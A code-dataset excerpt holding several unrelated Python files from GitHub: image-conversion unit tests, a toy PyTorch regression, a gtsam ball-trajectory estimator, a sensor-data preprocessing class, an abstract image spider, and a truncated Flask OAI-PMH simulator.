sitk_itk, itk_sitk\n\n\ndef create_test_image(dimensions, value):\n \"\"\"\n Creates a numpy array containing a single value of given dimension.\n \"\"\"\n array = np.full(dimensions, value, np.int32)\n return array\n\n\nclass TestSITKToITKConversion(unittest.TestCase):\n def spacing_check(self, input_image, output_image):\n input_spacing = input_image.GetSpacing()\n output_spacing = output_image.GetSpacing()\n\n self.assertAlmostEqual(input_spacing[0], output_spacing[0], 4)\n self.assertAlmostEqual(input_spacing[1], output_spacing[1], 4)\n self.assertAlmostEqual(input_spacing[2], output_spacing[2], 4)\n\n def dimension_check(self, input_image_np, output_image_np):\n input_size = input_image_np.shape\n output_size = output_image_np.shape\n\n self.assertEqual(input_size[0], output_size[0])\n self.assertEqual(input_size[1], output_size[1])\n self.assertEqual(input_size[2], output_size[2])\n\n def position_check(self, input_image, output_image):\n input_origin = input_image.GetOrigin()\n output_origin = output_image.GetOrigin()\n\n self.assertAlmostEqual(input_origin[0], output_origin[0], 4)\n self.assertAlmostEqual(input_origin[1], output_origin[1], 4)\n self.assertAlmostEqual(input_origin[2], output_origin[2], 4)\n\n def direction_check(self, direction1, direction2):\n self.assertEqual(direction1, direction2)\n\n def test_itk_to_sitk(self):\n test_image = itk.GetImageFromArray(create_test_image((10, 10, 10), 1))\n expected_image = sitk.GetImageFromArray(create_test_image((10, 10, 10), 1))\n\n result_image = itk_sitk(test_image)\n\n epected_image_np = sitk.GetArrayFromImage(expected_image)\n result_image_np = sitk.GetArrayFromImage(result_image)\n\n np.testing.assert_array_equal(expected_image, result_image)\n self.spacing_check(expected_image, result_image)\n self.dimension_check(epected_image_np, result_image_np)\n self.position_check(expected_image, result_image)\n\n expected_direction = expected_image.GetDirection()\n result_direction = result_image.GetDirection()\n self.direction_check(expected_direction, result_direction)\n\n def test_sitk_to_itk(self):\n expected_image = itk.GetImageFromArray(create_test_image((10, 10, 10), 1))\n test_image = sitk.GetImageFromArray(create_test_image((10, 10, 10), 1))\n\n result_image = sitk_itk(test_image)\n\n epected_image_np = itk.GetArrayFromImage(expected_image)\n result_image_np = itk.GetArrayFromImage(result_image)\n\n np.testing.assert_array_equal(expected_image, result_image)\n self.spacing_check(expected_image, result_image)\n self.dimension_check(epected_image_np, result_image_np)\n self.position_check(expected_image, result_image)\n\n expected_itk_direction = (\n expected_image.GetDirection()(0, 0),\n expected_image.GetDirection()(1, 0),\n expected_image.GetDirection()(2, 0),\n expected_image.GetDirection()(0, 1),\n expected_image.GetDirection()(0, 2),\n expected_image.GetDirection()(1, 1),\n expected_image.GetDirection()(1, 2),\n expected_image.GetDirection()(2, 1),\n expected_image.GetDirection()(2, 2),\n )\n result_itk_direction = (\n result_image.GetDirection()(0, 0),\n result_image.GetDirection()(1, 0),\n result_image.GetDirection()(2, 0),\n result_image.GetDirection()(0, 1),\n result_image.GetDirection()(0, 2),\n result_image.GetDirection()(1, 1),\n result_image.GetDirection()(1, 2),\n result_image.GetDirection()(2, 1),\n result_image.GetDirection()(2, 2),\n )\n self.direction_check(expected_itk_direction, result_itk_direction)\n","repo_name":"SpectraCollab/ORMIR_XCT","sub_path":"tests/util/test_itk_sitk_conversion.py","file_name":"test_itk_sitk_conversion.py","file_ext":"py","file_size_in_byte":4135,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"24282372407","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\n\nimport torch\nimport torch.nn as nn\n\n#import torch.nn.functional as F\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n # input/output dim\n in_dim = 1\n out_dim = 1\n \n # kernel1\n self.fc1 = nn.Linear(in_dim, out_dim)\n \n def forward(self, x):\n #layers\n x = self.fc1(x)\n \n return x\n \n \n#loss function \ncriterion = nn.MSELoss()\n\n# target function\nf = lambda x: np.abs(x)\n\n\n\n#optimizer\nnet = Net()\nlearning_rate = 0.01\noptimizer = torch.optim.SGD(net.parameters(), lr=learning_rate)\n\n\n\n# Train the model\nbatch_size = 2\n\nx_train = 2*torch.rand(batch_size,1)-1\ny_train = f(x_train)\n\n\nnum_epochs = 10000\n\nfor epoch in range(num_epochs):\n\n # Forward pass\n outputs = net(x_train)\n loss = criterion(outputs, y_train)\n \n # Backward and optimize\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n \n if (epoch+1) % 1000 == 0:\n print ('Epoch [{}/{}], Loss: {:.4f}'.format(epoch+1, \n num_epochs, loss.item()))\n \n#test\n\ny_ = f(x_train)\nplt.scatter(x_train.detach().numpy(), y_.detach().numpy(), label='true')\n\nx_test=torch.linspace(-1, 1, 20).reshape(20,1)\ny_pred = net(x_test)\nplt.plot(x_test.detach().numpy(), y_pred.detach().numpy(), label='pred')\n\nplt.legend()\nplt.show()","repo_name":"songqsh/foo1","sub_path":"src/interpolation_2pts_01.py","file_name":"interpolation_2pts_01.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"35628819234","text":"import numpy as np\nfrom collections import deque\nimport gtsam\nfrom gtsam.symbol_shorthand import X,L,V,W\nfrom mcf4ball.factors import PositionFactor,LinearFactor, BounceLinearFactor, BounceAngularFactor,PriorFactor3\nfrom mcf4ball.camera import triangulation\n\nclass IsamSolver:\n def __init__(self,camera_param_list,\n Cd = 0.55,\n Le=1.5,\n ez=0.89,\n exy=1.0, \n graph_minimum_size=150,\n ground_z0=0.100,\n angular_prior = np.zeros(3),\n verbose = True):\n\n self.camera_param_list = camera_param_list\n self.Cd = Cd\n self.Le = Le\n self.ez = ez\n self.exy =exy\n self.graph_minimum_size = graph_minimum_size\n self.ground_z0 = ground_z0\n self.angular_prior = angular_prior\n self.verbose = verbose\n\n self.bp_error = 50\n self.cam_mix_ratio = 0.3\n self.uv_noise = gtsam.noiseModel.Isotropic.Sigma(2, 2.0) # 2 pixels error\n self.camera_calibration_noise = gtsam.noiseModel.Diagonal.Sigmas(np.ones(6)*1e-6) \n self.pos_noise = gtsam.noiseModel.Diagonal.Sigmas(np.ones(3)*1e-3)\n self.linear_noise = gtsam.noiseModel.Diagonal.Sigmas(np.ones(3)*1e-4)\n self.angular_noise = gtsam.noiseModel.Diagonal.Sigmas(np.ones(3)*1e-4)\n self.angular_prior_noise = gtsam.noiseModel.Diagonal.Sigmas(np.ones(3)*1)\n self.bounce_linear_noise = gtsam.noiseModel.Diagonal.Sigmas(np.ones(3)*1e-6)\n self.bounce_angular_noise = gtsam.noiseModel.Diagonal.Sigmas(np.ones(3)*1e-6)\n self.reset()\n\n def reset(self):\n self.t_max = -np.inf\n self.dt = None\n self.num_optim = 0\n self.start_optim = False\n self.prev_L = deque()\n self.prev_V = deque()\n\n parameters = gtsam.ISAM2Params()\n self.isam = gtsam.ISAM2(parameters)\n\n self.initial_estimate = gtsam.Values()\n self.current_estimate = None\n self.graph = gtsam.NonlinearFactorGraph()\n\n self.curr_node_idx = -1\n self.num_w = 0\n self.bounce_smooth_step = 10\n self.curr_bounce_idx = 0\n\n self.total_addgraph_time = 0\n self.total_optimize_time = 0\n\n self.obs_buffer = deque()\n self.opt_buffer = deque()\n self.optimizable = False\n self.end_optim = False\n\n if self.verbose:\n print('reset!!!!!!!!!!!')\n\n def add_opt_buffer(self,data):\n if len(self.opt_buffer) >= self.graph_minimum_size:\n self.opt_buffer.popleft()\n self.opt_buffer.append(data)\n\n def check_optimizable(self):\n prev_camera_id = int(self.opt_buffer[0][1])\n sum_change = 0\n N = len(self.opt_buffer)\n for idx in range(N):\n curr_camera_id = int(self.opt_buffer[idx][1])\n if prev_camera_id != curr_camera_id:\n sum_change += 1\n if self.verbose:\n print(f'check optimizable ({sum_change/self.graph_minimum_size:.2f})')\n if not self.optimizable and len(self.opt_buffer) == self.graph_minimum_size:\n self.optimizable = sum_change/self.graph_minimum_size > self.cam_mix_ratio\n\n def check_end_optim(self):\n \n rst = self.get_result()\n if rst is not None:\n t, camera_id, u,v = self.opt_buffer[-1]\n camera_param = self.camera_param_list[camera_id]\n uv1 = camera_param.proj2img(rst[0]) \n error = np.sqrt((uv1[0] - u)**2 + (uv1[1]-v)**2)\n if error > self.bp_error:\n print(f'bp error too large ({error})! reset!')\n self.end_optim = True\n \n if self.verbose:\n print(f\"\\t- check end optim: input:({int(u)},{int(v)}), backproj: ({int(uv1[0])},{int(uv1[1])})\")\n print(f\"\\t- the error is {error:.2f}\")\n \n def push_back(self,data):\n t, camera_id, u,v = data\n data = [float(t), int(camera_id), float(u),float(v)]\n if t < self.t_max:\n return\n self.dt = t - self.t_max\n self.add_opt_buffer(data)\n self.check_optimizable()\n self.check_end_optim()\n if self.end_optim:\n self.reset()\n if self.optimizable:\n self.obs_buffer.append(data)\n if (self.curr_node_idx < self.graph_minimum_size):\n self.update(data,optim=False)\n else:\n try:\n self.update(data,optim=True)\n except:\n self.reset()\n self.t_max = float(t) # keep at bottom\n\n def update(self,data, optim = False):\n if self.verbose:\n print(f'update from camera:{data[1]}!')\n\n self.curr_node_idx += 1\n self.add_subgraph(data) # modify self.graph and self.intial\n\n if optim:\n if self.num_optim ==0:\n self.warm_start()\n self.optimize() \n self.clear()\n self.num_optim += 1\n\n\n def warm_start(self):\n '''\n initialize the results using triangulation (size + 1)\n '''\n if self.verbose:\n print(\"\\t- warm starting\")\n t0,camera_id0,u0,v0 = self.obs_buffer[0]\n save_idx = []\n save_p_guess = []\n t_save = []\n for idx, (t,camera_id,u,v) in enumerate(self.obs_buffer):\n if camera_id != camera_id0:\n p_guess ,_= triangulation(np.array([u0,v0]),np.array([u,v]),np.array([-1,-1]),\n self.camera_param_list[camera_id0],\n self.camera_param_list[camera_id],\n self.camera_param_list[camera_id])\n save_idx.append(idx)\n save_p_guess.append(p_guess)\n t_save.append(t)\n t0,camera_id0,u0,v0 = t,camera_id,u,v\n \n save_p_guess = np.array(save_p_guess)\n t_save = np.array(t_save)\n save_v_guess = np.diff(save_p_guess,axis=0)/np.diff(t_save)[:,None]\n curr_idx = save_idx[0]\n for i in range(len(self.obs_buffer)):\n if i > curr_idx:\n curr_idx += 1\n if curr_idx < len(save_idx):\n self.initial_estimate.insert(L(i),save_p_guess[curr_idx])\n else:\n self.initial_estimate.insert(L(i),save_p_guess[-1])\n if curr_idx < len(save_v_guess):\n self.initial_estimate.insert(V(i),np.random.rand(3)-0.5)\n else:\n self.initial_estimate.insert(V(i),np.random.rand(3)-0.5)\n\n \n def add_subgraph(self,data):\n t, camera_id, u,v = data\n t = float(t); camera_id = int(camera_id);u = float(u);v = float(v)\n\n j = self.curr_node_idx\n \n K_gtsam, pose_gtsam = self.camera_param_list[camera_id].to_gtsam()\n self.graph.push_back(gtsam.GenericProjectionFactorCal3_S2(np.array([u,v]), self.uv_noise, X(j), L(j), K_gtsam)) # add noise\n self.graph.push_back(gtsam.PriorFactorPose3(X(j), pose_gtsam, self.camera_calibration_noise)) # add prior\n if self.verbose:\n print(f\"add pixel detection X({j}) -> L({j})\")\n print(f\"add prior X({j})\")\n if j == 0:\n self.graph.push_back(PriorFactor3(self.angular_prior_noise,W(0),self.angular_prior))\n if j >0:\n self.graph.push_back(PositionFactor(self.pos_noise,L(j-1),L(j),V(j-1),self.t_max,t))\n if self.verbose:\n print(f\"add position factor L({j-1}), L({j}) -> V({j-1})\")\n\n if self.current_estimate is not None:\n z_prev = self.current_estimate.atVector(L(j-1))[2]\n if (z_prev < self.ground_z0) and (j > self.curr_bounce_idx + self.bounce_smooth_step):\n if self.verbose:\n print('add bounce')\n print(f'\\t- adding bounce factor (v({j-1}), w({self.num_w}) -> v({j}))')\n print(f'\\t- adding bounce factor (v({j-1}), w({self.num_w}) -> w({self.num_w+1}))')\n self.graph.push_back(BounceLinearFactor(self.bounce_linear_noise,V(j-1),W(self.num_w),V(j),self.ez,self.exy))\n self.graph.push_back(BounceAngularFactor(self.bounce_angular_noise,V(j-1),W(self.num_w),W(self.num_w+1),self.ez,self.exy))\n self.initial_estimate.insert(W(self.num_w+1), self.current_estimate.atVector(W(self.num_w)))\n self.num_w += 1\n self.curr_bounce_idx = j\n elif (z_prev < self.ground_z0) and (j <= self.curr_bounce_idx + self.bounce_smooth_step):\n if self.verbose:\n print(f'bounce within the smooth, move on. Current bounce idx move to {self.curr_bounce_idx}')\n self.graph.push_back(LinearFactor(self.linear_noise,V(j-1),W(self.num_w),V(j),self.t_max,t,[self.Cd, self.Le]))\n self.curr_bounce_idx = j\n else:\n self.graph.push_back(LinearFactor(self.linear_noise,V(j-1),W(self.num_w),V(j),self.t_max,t,[self.Cd, self.Le]))\n if self.verbose:\n print(f\"add Linear factor V({j-1}), W({self.num_w}) -> V({j})\")\n\n else:\n self.graph.push_back(LinearFactor(self.linear_noise,V(j-1),W(self.num_w),V(j),self.t_max,t,[self.Cd, self.Le]))\n if self.verbose:\n print(f\"add Linear factor V({j-1}), W({self.num_w}) -> V({j})\")\n\n # add guess\n self.initial_estimate.insert(X(j),pose_gtsam)\n if j ==0:\n self.initial_estimate.insert(W(self.num_w),np.array([0.1,0.1,0.1]))\n if self.current_estimate is not None:\n self.initial_estimate.insert(L(j),self.current_estimate.atVector(L(j-1)))\n self.initial_estimate.insert(V(j),self.current_estimate.atVector(V(j-1)))\n\n def optimize(self):\n if self.verbose:\n print('\\t- optimizing!')\n self.isam.update(self.graph, self.initial_estimate)\n if self.num_optim <10:\n for _ in range(10):\n self.isam.update() # more iteration\n else:\n for _ in range(3):\n self.isam.update() # more iteration\n self.current_estimate = self.isam.calculateEstimate()\n \n\n def clear(self):\n self.graph.resize(0)\n self.initial_estimate.clear()\n \n\n def get_result(self):\n if self.current_estimate is None:\n if self.verbose:\n print('get result: None')\n return None\n else:\n l = self.current_estimate.atVector(L(self.curr_node_idx))\n v = self.current_estimate.atVector(V(self.curr_node_idx))\n w = self.current_estimate.atVector(W(self.num_w))\n # w = self.current_estimate.atVector(W(0))\n\n if len(self.prev_L)>10:\n self.prev_L.popleft()\n self.prev_V.popleft()\n self.prev_L.append(l)\n self.prev_V.append(v)\n\n prev_l = self.prev_L[0]\n prev_v = self.prev_V[0]\n\n if self.verbose:\n print(f'get result: (L({self.curr_node_idx}),V({self.curr_node_idx}),W({self.num_w}))')\n\n if len(self.prev_L) < 10:\n return None\n elif len(self.prev_L) >= 10 and np.linalg.norm(prev_l - l) < 1.0: # some filtering\n return l,v,w\n else:\n if self.verbose:\n print(\"pred not consistant! reset!\")\n self.reset()\n return None\n\n","repo_name":"xiaoqingyu0113/mcf4ball","sub_path":"mcf4ball/estimator.py","file_name":"estimator.py","file_ext":"py","file_size_in_byte":11672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72648480401","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.impute import KNNImputer\nimport os\n\n\n\nclass Preprocessor:\n \"\"\"\n This class shall be used to clean and transform the data before training.\n\n Written By: Tejas Jay (TJ)\n Version: 1.0\n Revisions: None\n\n \"\"\"\n\n def __init__(self, file_object, logger_object):\n self.file_object = file_object\n self.logger_object = logger_object\n\n def remove_columns(self,data,columns):\n \"\"\"\n Method Name: remove_columns\n Description: This method removes the given columns from a pandas dataframe.\n Output: A pandas DataFrame after removing the specified columns.\n On Failure: Raise Exception\n\n Written By: Tejas Jay (TJ)\n Version: 1.0\n Revisions: None\n\n \"\"\"\n self.logger_object.log(self.file_object, 'Entered the remove_columns method of the Preprocessor class')\n self.data=data\n self.columns=columns\n try:\n self.useful_data=self.data.drop(labels=self.columns, axis=1) # drop the labels specified in the columns\n self.logger_object.log(self.file_object,\n 'Column removal Successful.Exited the remove_columns method of the Preprocessor class')\n return self.useful_data\n except Exception as e:\n self.logger_object.log(self.file_object,'Exception occured in remove_columns method of the Preprocessor class. Exception message: '+str(e))\n self.logger_object.log(self.file_object,\n 'Column removal Unsuccessful. Exited the remove_columns method of the Preprocessor class')\n raise Exception()\n\n def separate_label_feature(self, data, label_column_name):\n \"\"\"\n Method Name: separate_label_feature\n Description: This method separates the features and a Label Coulmns.\n Output: Returns two separate Dataframes, one containing features and the other containing Labels .\n On Failure: Raise Exception\n\n Written By: Tejas Jay (TJ)\n Version: 1.0\n Revisions: None\n\n \"\"\"\n self.logger_object.log(self.file_object, 'Entered the separate_label_feature method of the Preprocessor class')\n try:\n self.X=data.drop(labels=label_column_name,axis=1) # drop the columns specified and separate the feature columns\n self.Y=data[label_column_name] # Filter the Label columns\n self.logger_object.log(self.file_object,\n 'Label Separation Successful. Exited the separate_label_feature method of the Preprocessor class')\n return self.X,self.Y\n except Exception as e:\n self.logger_object.log(self.file_object,'Exception occured in separate_label_feature method of the Preprocessor class. Exception message: ' + str(e))\n self.logger_object.log(self.file_object, 'Label Separation Unsuccessful. Exited the separate_label_feature method of the Preprocessor class')\n raise Exception()\n\n def is_null_present(self,data):\n \"\"\"\n Method Name: is_null_present\n Description: This method checks whether there are null values present in the pandas Dataframe or not.\n Output: Returns a Boolean Value. True if null values are present in the DataFrame, False if they are not present.\n On Failure: Raise Exception\n\n Written By: Tejas Jay (TJ)\n Version: 1.0\n Revisions: None\n\n \"\"\"\n self.logger_object.log(self.file_object, 'Entered the is_null_present method of the Preprocessor class')\n self.null_present = False\n try:\n self.null_counts=data.isna().sum() # check for the count of null values per column\n for i in self.null_counts:\n if i>0:\n self.null_present=True\n break\n if(self.null_present): # write the logs to see which columns have null values\n dataframe_with_null = pd.DataFrame()\n dataframe_with_null['columns'] = data.columns\n dataframe_with_null['missing values count'] = np.asarray(data.isna().sum())\n dataframe_with_null.to_csv('preprocessing_data/null_values.csv') # storing the null column information to file\n self.logger_object.log(self.file_object,'Finding missing values is a success.Data written to the null values file. Exited the is_null_present method of the Preprocessor class')\n return self.null_present\n except Exception as e:\n self.logger_object.log(self.file_object,'Exception occured in is_null_present method of the Preprocessor class. Exception message: ' + str(e))\n self.logger_object.log(self.file_object,'Finding missing values failed. Exited the is_null_present method of the Preprocessor class')\n raise Exception()\n\n def impute_missing_values(self, data):\n \"\"\"\n Method Name: impute_missing_values\n Description: This method replaces all the missing values in the Dataframe using KNN Imputer.\n Output: A Dataframe which has all the missing values imputed.\n On Failure: Raise Exception\n\n Written By: Tejas Jay (TJ)\n Version: 1.0\n Revisions: None\n \"\"\"\n self.logger_object.log(self.file_object, 'Entered the impute_missing_values method of the Preprocessor class')\n self.data= data\n try:\n imputer=KNNImputer(n_neighbors=3, weights='uniform',missing_values=np.nan)\n self.new_array=imputer.fit_transform(self.data) # impute the missing values\n # convert the nd-array returned in the step above to a Dataframe\n self.new_data=pd.DataFrame(data=self.new_array, columns=self.data.columns)\n self.logger_object.log(self.file_object, 'Imputing missing values Successful. Exited the impute_missing_values method of the Preprocessor class')\n return self.new_data\n except Exception as e:\n self.logger_object.log(self.file_object,'Exception occured in impute_missing_values method of the Preprocessor class. Exception message: ' + str(e))\n self.logger_object.log(self.file_object,'Imputing missing values failed. Exited the impute_missing_values method of the Preprocessor class')\n raise Exception()\n\n def get_columns_with_zero_std_deviation(self,data):\n \"\"\"\n Method Name: get_columns_with_zero_std_deviation\n Description: This method finds out the columns which have a standard deviation of zero.\n Output: List of the columns with standard deviation of zero\n On Failure: Raise Exception\n\n Written By: Tejas Jay (TJ)\n Version: 1.0\n Revisions: None\n \"\"\"\n self.logger_object.log(self.file_object, 'Entered the get_columns_with_zero_std_deviation method of the Preprocessor class')\n self.columns=data.columns\n self.data_n = data.describe()\n self.col_to_drop=[]\n try:\n for x in self.columns:\n if (self.data_n[x]['std'] == 0): # check if standard deviation is zero\n self.col_to_drop.append(x) # prepare the list of columns with standard deviation zero\n self.logger_object.log(self.file_object, 'Column search for Standard Deviation of Zero Successful. Exited the get_columns_with_zero_std_deviation method of the Preprocessor class')\n return self.col_to_drop\n\n except Exception as e:\n self.logger_object.log(self.file_object,'Exception occured in get_columns_with_zero_std_deviation method of the Preprocessor class. Exception message: ' + str(e))\n self.logger_object.log(self.file_object, 'Column search for Standard Deviation of Zero Failed. Exited the get_columns_with_zero_std_deviation method of the Preprocessor class')\n raise Exception()\n\n\n\n\n def delete_existing_html(self):\n \"\"\"\n Method Name: delete_existing_html\n Description: deletes existing html file before starting prediction\n Output: None\n On Failure: Raise Exception\n\n Written By: Tejas Jay\n Version: 1.0\n Revisions: None\n \"\"\"\n self.logger_object.log(self.file_object, 'Entering the delete_existing_html method')\n try:\n path = \"templates\\Prediction_result.html\"\n if os.path.exists(path):\n os.remove(path)\n self.logger_object.log(self.file_object,'Existing Prediction html file, deleted successfully!')\n\n except Exception as e:\n self.logger_object.log(self.file_object, 'Error occured in delete_existing_html while deleting the file. Exception message: ' + str(e))\n self.logger_object.log(self.file_object,'Exited delete_existing_html method: Unsuccessful ')\n raise e\n\n\n\n def save_html(self):\n\n \"\"\"\n Method Name: save_html\n Description: Loads the model with csv and saves it as html in template directory\n Output: html file\n On Failure: Raise Exception\n\n Written By: Tejas Jay\n Version: 1.0\n Revisions: None\n \"\"\"\n self.logger_object.log(self.file_object, 'Entered save_html method')\n try:\n data1 = pd.read_csv(\"Prediction_Output_File\\Predictions.csv\", index_col=False)\n column = ['Number', 'Wafer_Sensor_ID', 'Prediction']\n data1.columns = column\n result1 = data1.to_html(index=False)\n text_file = open(\"templates\\Prediction_result.html\", \"w\")\n text_file.write(result1)\n text_file.close()\n self.logger_object.log(self.file_object, 'html file saved successfully in templates')\n\n except Exception as e:\n self.logger_object.log(self.file_object,'Exception occured in save_html method of the Preprocessor class. Exception message: ' + str(e))\n self.logger_object.log(self.file_object,'Exited save_html method: Unsuccessful ')\n raise e\n\n\n\n\n\n def save_log_html(self):\n\n \"\"\"\n Method Name: save_log_html\n Description: Loads the model with csv and saves it as html in template directory\n Output: html file\n On Failure: Raise Exception\n\n Written By: Tejas Jay\n Version: 1.0\n Revisions: None\n \"\"\"\n try:\n df = pd.read_csv(\"Prediction_Logs\\Prediction_Log.txt\", sep='\\t', header=None)\n column = ['Date', 'Time', 'Log_Status']\n df.columns = column\n result = df.to_html(index=False)\n html = result\n text_file = open(\"templates\\Prediction_Log.html\", \"w\")\n text_file.write(html)\n text_file.close()\n\n except Exception as e:\n raise e\n\n\n","repo_name":"TejasJay/SensorFaultPrediction","sub_path":"data_preprocessing/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":10801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18370058991","text":"from abc import abstractmethod, ABC\nfrom typing import List, Union\n\n\nclass Spider(ABC):\n \"\"\"Spider abstract class\"\"\"\n\n # constants\n keyword: str # keyword of this spider instance\n search_engine_name: str # name of the crawled search engine\n proxy_addr: Union[str, None] # proxy settings\n\n # variables\n __result_buffer: List[str] = [] # temporarily store fetched results\n\n def __init__(self, keyword: str, proxy_addr: Union[str, None] = None):\n self.keyword = keyword\n self.proxy_addr = proxy_addr\n\n @abstractmethod\n def request(self) -> List[str]:\n \"\"\"\n Request for search results\n :return: list of image URLs\n \"\"\"\n pass\n\n def refresh_buffer(self) -> None:\n \"\"\"\n Refresh the result buffer with results from a new request\n \"\"\"\n assert (len(self.__result_buffer) == 0), 'refresh when buffer is not empty'\n self.__result_buffer = self.request()\n assert (len(self.__result_buffer) > 0), 'buffer is still empty after refresh'\n\n def next_page(self) -> List[str]:\n \"\"\"\n Fetch results in one page\n :return: list of image URLs\n \"\"\"\n if len(self.__result_buffer) == 0:\n self.refresh_buffer()\n results = self.__result_buffer.copy()\n self.__result_buffer.clear()\n return results\n\n def next_result(self) -> str:\n \"\"\"\n Fetch one result\n :return: an image URL\n \"\"\"\n if len(self.__result_buffer) == 0:\n self.refresh_buffer()\n result = self.__result_buffer.pop(0)\n return result\n","repo_name":"KSkun/Image-Spider","sub_path":"src/spider/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"5552413430","text":"\"\"\"Flask application to implement simulator.\"\"\"\n\nfrom flask import Flask, request, render_template, flash, session, redirect, url_for, logging, make_response\nimport json\nimport logging\nimport optparse\nimport os.path\nimport re\nimport sys\nfrom xml.etree.ElementTree import ElementTree, Element, SubElement\ntry: #python2, must try this first as a different io exists in python2\n import StringIO as io\nexcept ImportError: #python3\n import io\n\nfrom oaipmh_simulator._version import __version__\nfrom oaipmh_simulator.repository import Repository, OAI_PMH_Exception, BadVerb, BadArgument, BadResumptionToken, sanitize\n\napp = Flask(__name__)\n\ndef get_flask_app():\n \"\"\"Get app object.\"\"\"\n return(app) # FIXME - make this actually create app\n\ndef index_handler():\n \"\"\"Render index page for server.\"\"\"\n return render_template('index.html',\n base_url=app.config['base_url'])\n\ndef oaipmh_baseurl_handler():\n \"\"\"Support requests for OAI-PMH baseURL.\"\"\"\n if (request.method == 'GET'):\n args = request.args\n elif (app.config['no_post']):\n alert(405) # Method Not Allowed\n else:\n args = request.form\n handler = OAI_PMH_Handler( app )\n try:\n # Now get the params\n verb = args.get('verb')\n if (verb is None):\n raise BadVerb(verb=verb)\n arguments = {}\n for arg in ['identifier','metadataPrefix','from',\n 'until','set','resumptionToken']:\n if (arg in args):\n arguments[arg] = args.get(arg)\n if (len(arguments)+1 != len(args)):\n raise BadArgument(\"Extra illegal arguments given.\")\n # What to do?\n if (verb == 'Identify'):\n handler.check_args( verb, arguments )\n return handler.identify()\n elif (verb == 'GetRecord'):\n handler.check_args( verb, arguments,\n required=['identifier', 'metadataPrefix'] )\n return handler.get_record( **arguments )\n elif (verb == 'ListIdentifiers'):\n handler.check_args( verb, arguments,\n optional=['from','until','set'],\n required=['metadataPrefix'],\n exclusive='resumptionToken' )\n return handler.list_either( False, **arguments )\n elif (verb == 'ListRecords'):\n handler.check_args( verb, arguments,\n optional=['from','until','set'],\n required=['metadataPrefix'],\n exclusive='resumptionToken' )\n return handler.list_either( True, **arguments )\n elif (verb == 'ListMetadataFormats'):\n handler.check_args( verb, arguments,\n optional=['identifier'] )\n return handler.list_metadata_formats( **arguments )\n elif (verb == 'ListSets'):\n handler.check_args( verb, arguments, \n exclusive='resumptionToken' )\n return handler.list_sets( **arguments )\n else:\n bad_verb=verb\n verb=None\n raise BadVerb(verb=bad_verb)\n except OAI_PMH_Exception as e:\n return( handler.error(e, verb) )\n\n\ndef TextSubElement( parent, tag, text=None ):\n \"\"\"Add element named tag with content text iff text not None.\"\"\"\n #FIXME - make handle multiple elements if text is iterable\n if (text is not None):\n SubElement( parent, tag).text = text\n\n\nclass OAI_PMH_Handler(object):\n \"\"\"Class to handle request against OAI-PMH baseURL in a Flask app.\"\"\"\n\n def __init__(self, app=None ):\n \"\"\"Initialize OAI-PMH baseURL handler.\"\"\"\n self.app = app\n self.repo = app.config['repo'] if app else None\n self.root = None\n # Record substitutions we need to make in XML output\n self.sub_num = 0\n self.subs = {}\n\n def sub(self, xml):\n \"\"\"Set up substitution of xml, return match string to insert.\"\"\"\n self.sub_num += 1\n match = \"#-#-#-#-#--SUB--%d--#-#-#-#-#\" % (self.sub_num)\n self.subs[match] = xml\n return( match )\n\n def base_tree(self, verb):\n \"\"\"Create start of XML tree for OAI-PMH response.\n\n This format applies to all OAI-PMH responses. Note that although\n OAI-PMH responses are XML, there are a number of rather more specific\n stipulations about namespaces that _MUST_ be used and such. See:\n https://www.openarchives.org/OAI/openarchivesprotocol.html#XMLResponse\n \"\"\"\n base_url = self.app.config['base_url']\n root = Element('OAI-PMH',\n {'xmlns': 'http://www.openarchives.org/OAI/2.0/',\n 'xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance',\n 'xsi:schemaLocation': 'http://www.openarchives.org/OAI/2.0/ http://www.openarchives.org/OAI/2.0/OAI-PMH.xsd'\n } )\n TextSubElement( root, 'responseDate', '2002-02-08T12:00:01Z')\n req = SubElement( root, 'request', {} if verb is None else {'verb': verb} )\n req.text = base_url\n self.root = root\n\n def add_header(self, parent, record):\n \"\"\"Add OAI-PMH
    block under parent in XML.\"\"\"\n header = SubElement( parent, 'header' )\n TextSubElement( header, 'identifier', record.identifier )\n TextSubElement( header, 'datestamp', record.datestamp )\n for set_spec in record.set_specs:\n TextSubElement( header, 'setSpec', set_spec )\n if (record.status is not None):\n TextSubElement( header, 'status', record.status )\n\n def add_metadata(self, parent, record):\n \"\"\"Add OAI-PMH block under parent in XML.\n\n Support both inclusion of XML defined by the structured\n data in record.metadataow can we include some XML in here?\n \"\"\"\n TextSubElement( parent, 'metadata', self.sub(record.metadata) )\n\n def serialize_tree(self):\n \"\"\"Serialize XML tree from root.\"\"\"\n tree = ElementTree(self.root);\n xml_buf=io.StringIO()\n if (sys.version_info < (2,7)):\n tree.write(xml_buf,encoding='UTF-8')\n elif (sys.version_info < (3,0)):\n tree.write(xml_buf,encoding='UTF-8',xml_declaration=True,method='xml')\n else:\n tree.write(xml_buf,encoding=\"unicode\",xml_declaration=True,method='xml')\n xml = xml_buf.getvalue()\n # Now if we have XML chunks to indert for the records, do that\n # by string sustitution...\n for match in self.subs:\n xml = re.sub(match, self.subs[match], xml)\n return(xml)\n\n def make_xml_response(self):\n \"\"\"Make Flask Response for XML tree.\"\"\"\n response = make_response( self.serialize_tree() )\n response.headers['Content-type'] = 'application/xml'\n return( response )\n\n def identify(self):\n \"\"\"Make Identify response.\n\n http://www.openarchives.org/OAI/openarchivesprotocol.html#Identify\n \"\"\"\n repo = self.repo\n self.base_tree(verb='Identify')\n resp = SubElement( self.root, 'Identify' )\n TextSubElement( resp, 'repositoryName', repo.repository_name )\n TextSubElement( resp, 'baseURL', 